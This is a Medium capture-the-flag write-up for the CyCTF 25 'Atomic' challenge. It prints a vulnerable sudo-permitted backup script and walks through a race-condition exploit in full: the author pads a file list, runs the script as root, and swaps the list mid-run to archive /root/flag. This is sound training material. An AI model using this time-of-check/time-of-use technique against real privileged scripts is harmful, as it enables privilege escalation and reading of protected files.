Atomic Challenge (MISC) | CyCTF 25
The crucial moment: Deceiving run.sh and hijacking root privileges. Mission: Accessing /root/flag.
Atomic Challenge (MISC) | CyCTF 25

The crucial moment: Deceiving run.sh and hijacking root privileges.
Mission: Accessing /root/flag.
Obstacle: I’m just a user with no privileges.
Weapon: Race condition vulnerability.
Chapter One: Searching for the Vulnerability
I stood before the command line, and the usual barrier stopped me: : Permission denied The system was securely locked, but I knew that every system, no matter how robust, contains at least one human error.
I asked the system the golden question:
sudo -l
The response came as if it were an open invitation:(root) NOPASSWD: /usr/local/bin/run.sh
Matching Defaults entries for user on 4f0acb0cf0cd:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on 4f0acb0cf0cd:
(root) NOPASSWD: /usr/local/bin/run.sh
Here I paused. A file named run.sh runs with root privileges and doesn’t require a password? That seems too good to be true. Is it a trap? Or a gateway?
Chapter Two: Deconstructing the Code
I opened the file to see what was inside:
cat /usr/local/bin/run.sh
The script resembled a rigid bureaucrat:
It takes a list of files.
It thoroughly checks them (Loop 1): Are the files present? Are they .cfg files? Are they dummy links (symlinks)? If there are any errors, it rejects the operation.
It executes the operation (Loop 2): If the check is successful, it opens the list again, copies the files, and compresses them into an archive.
Eureka moment! The script makes a fatal mistake: it “trusts” that the file won’t change between the “check” and “execute” moments. There’s a very small time gap between the two loops. In that gap, the script is completely blind.
If I can change the list’s contents at that precise moment… I’ll make the root serve my purposes.
#!/bin/bash
if [ $# -ne 1 ]; then
echo "Usage: $0 <filename>"
exit 1
fi
input_file="$1"
if [ ! -f "$input_file" ]; then
echo "Error: File input does not exist"
exit 1
fi
output_file="/opt/backup_$(date +%s)_$(head -c 6 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 6).tar.gz"
validation_failed=0
while IFS= read -r line || [ -n "$line" ]; do
path=$(echo "$line" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
[ -z "$path" ] && continue
if [ ! -f "$path" ]; then
echo "Error: File path does not exist"
validation_failed=1
continue
fi
if [ -L "$path" ]; then
echo "What are you doing amego?"
validation_failed=1
continue
fi
ext=$(echo "$path" | grep -oE '\.[^.]+$' | tr '[:upper:]' '[:lower:]')
if [ "$ext" != ".cfg" ] ; then
echo "Error: File does not have .cfg extension"
validation_failed=1
fi
done < "$input_file"
if [ $validation_failed -eq 1 ]; then
echo "Validation failed. Backup aborted."
exit 1
fi
temp_dir=$(mktemp -d)
trap "rm -rf $temp_dir" EXIT
files_added=0
while IFS= read -r line || [ -n "$line" ]; do
path=$(echo "$line" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
[ -z "$path" ] && continue
rel_path=$(echo "$path" | sed 's|^/||')
dir_path=$(dirname "$rel_path")
[ "$dir_path" != "." ] && mkdir -p "$temp_dir/$dir_path" 2>/dev/null || true
cp "$path" "$temp_dir/$rel_path" 2>/dev/null && files_added=$((files_added + 1)) || true
done < "$input_file"
if [ $files_added -gt 0 ]; then
cd "$temp_dir"
tar -czf "$output_file" . 2>/dev/null
if [ $? -eq 0 ]; then
echo "Backup created: $output_file ($files_added files)"
else
echo "Error: Failed to create backup archive"
exit 1
fi
else
echo "No valid image files found to backup"
fi
Chapter 3: Setting the Trap
I decided to launch a Race Condition attack. I would make the script busy scanning a seemingly innocent list, and the moment it felt secure, I would replace it with the malicious one.
- Preparing the Bait: I created a perfectly legitimate fake file to pass the security check.
touch /tmp/safe.cfg
- Setting up the malicious list (The Payload): This list contains what I really want.
echo "/root/flag" > /tmp/malicious.txt
- Slowing down the victim: To ensure I won the race, I made the “safe” list very long (5000 lines). This would make the script take longer to scan, giving me time to swap files.
for i in $(seq 1 5000); do echo "/tmp/safe.cfg"; done > /tmp/safe_list.txt
cp /tmp/safe_list.txt /tmp/attack_list.txt
Chapter Four: The Knockout Blow
I placed my hands on the keyboard. Timing was everything. I had to run the script, wait a fraction of a second, and then execute the switch.
sudo /usr/local/bin/run.sh /tmp/attack_list.txt & sleep 0.1 && cp /tmp/malicious.txt /tmp/attack_list.txt && wait
What happened behind the scenes?
sudo launched run.sh as Root and started reading the safe list. “Hmm, the cfg files are intact… Excellent.”
sleep 0.1: I’m waiting in the shadows while it’s busy.
cp: Now! I’ve replaced the safe list with the one that calls /root/flag.
The script finished its scan and went back to read the file to copy it… but it didn’t notice that the file had changed! It had executed commands on the malicious list!
Conclusion: Victory
The message appeared: Backup created: /opt/backup_…. It did it! The malicious script copied my flag and placed it in a safe area.
I went to extract it.
cd /tmp
tar -xvf /opt/backup_*.tar.gz
Then the long-awaited moment:
cat root/flag
The result: The system was compromised not by breaking the encryption, but by exploiting blind trust in the script. It was a challenge that proved “timing” is more powerful than “authority”. 🚩

메타데이터
- post_id
- cd01065dab34
- slug
- atomic-challenge-misc-cyctf-25-cd01065dab34
- url
- https://medium.com/@Khonshu0/atomic-challenge-misc-cyctf-25-cd01065dab34
- canonical_url
- https://medium.com/@Khonshu0/atomic-challenge-misc-cyctf-25-cd01065dab34
- author_url
- https://medium.com/@Khonshu0
- status
- ok
- fetched_at
- 2026-06-20 20:29:01